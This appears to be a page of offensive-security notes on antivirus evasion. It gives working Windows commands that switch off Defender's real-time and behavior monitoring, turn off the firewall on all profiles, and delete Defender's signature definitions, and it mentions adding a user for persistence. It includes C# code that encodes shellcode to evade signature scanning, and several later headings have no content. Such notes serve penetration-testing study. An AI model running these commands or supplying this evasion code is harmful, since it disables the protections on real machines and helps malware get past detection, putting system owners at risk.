Evasions

rmb to use x64 shellcodes and build with x64

Disable AV (admin)

May need GUI (RDP 3389) with admin access to turn off other AV (e.g. AVG)

REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableRealtimeMonitoring " /t REG_DWORD /d 1 /f
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableBehaviorMonitoring " /t REG_DWORD /d 1 /f
Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -Verbose

netsh Advfirewall set allprofiles state off
cmd /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -removedefinitions -all

We may add a new user for easier system access.

Shellcode Encryption

Encryptor

helper.exe
using System;
using System.Text;

namespace Helper
{
    internal class Program
    {
        static void Main(string[] args)
        {
            byte[] buf = new byte[5] {
                0xfc,0x48,0x83,0xe4,0xf0};

            byte[] encoded = new byte[buf.Length];
            for (int i = 0; i < buf.Length; i++)
            {
                encoded[i] = (byte)(((uint)buf[i] + 2) & 0xFF);
            }

            StringBuilder hex = new StringBuilder(encoded.Length * 2);
            foreach (byte b in encoded)
            {
                hex.AppendFormat("0x{0:x2}, ", b);
            }

            Console.WriteLine("The payload is: " + hex.ToString());
        }
    }
}

Decryptor

Bypass heuristics scan

Sleep

Non-emulated APIs

Last updated